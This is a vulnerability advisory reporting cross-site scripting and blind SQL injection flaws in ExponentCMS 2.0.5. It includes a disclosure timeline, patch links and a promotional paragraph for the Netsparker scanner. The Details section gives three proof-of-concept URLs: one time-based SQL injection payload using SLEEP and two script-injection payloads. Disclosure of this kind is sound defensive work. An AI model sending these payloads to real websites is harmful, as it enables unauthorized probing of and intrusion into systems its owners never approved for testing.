exponentcms 2.0.5 – Multiple Vulnerabilities
Information -------------------- Name : XSS and Blind SQL Injection Vulnerabilities in ExponentCMS Software : ExponentCMS 2.0.5 and possibly below. Vendor Homepage : http://www.exponentcms.org Vulnerability Type : Cross-Site Scripting and SQL Injection Severity : Critical Researcher : Onur Yılmaz Advisory Reference : NS-12-006 Description -------------------- Exponent is a website content management system (or CMS) that allows site owners to easily create and manage dynamic websites without necessarily directly coding web pages, or managing site navigation. Details -------------------- Exponent CMS is affected by XSS and SQL Injection vulnerabilities in version 2.0.5. Example PoC urls are as follows : http://example.com/index.php?section=(SELECT%201%20FROM%20(SELECT%20SLEEP(25))A) http://example.com/index.php?action=showall_by_tags&tag=%27%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(1337)%3C/script%3E&controller=news&src= () random4e5433b85bb1f http://example.com/index.php?controller=expTag&action=show&title=changes&src=%27%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(1337)%3C/script%3E You can read the full article about Cross-Site Scripting and SQL Injection vulnerabilities from here : http://www.mavitunasecurity.com/crosssite-scripting-xss/ http://www.mavitunasecurity.com/sql-injection/ Solution -------------------- The vendor fixed this vulnerability in the new version. Please see the references. Advisory Timeline -------------------- 12/03/2012 - First contact: Sent the vulnerability details 20/03/2012 - Vulnerability Fixed in latest version 25/04/2012 - Vulnerability Released Credits -------------------- It has been discovered on testing of Netsparker, Web Application Security Scanner - http://www.mavitunasecurity.com/netsparker/. References -------------------- Vendor Url / Patch : http://exponentcms.org/news/-happy-hyperbole-v2-0-6-is-in-full-bloom MSL Advisory Link : http://www.mavitunasecurity.com/blog/xss-and-blind-sql-injection-vulnerabilities-in-exponentcms/ Netsparker Advisories : http://www.mavitunasecurity.com/netsparker-advisories/ About Netsparker -------------------- Netsparker® can find and report security issues such as SQL Injection and Cross-site Scripting (XSS) in all web applications regardless of the platform and the technology they are built on. Netsparker's unique detection and exploitation techniques allows it to be dead accurate in reporting hence it's the first and the only False Positive Free web application security scanner. -- Netsparker Advisories, <advisories () mavitunasecurity com> Homepage, http://www.mavitunasecurity.com/netsparker-advisories/ |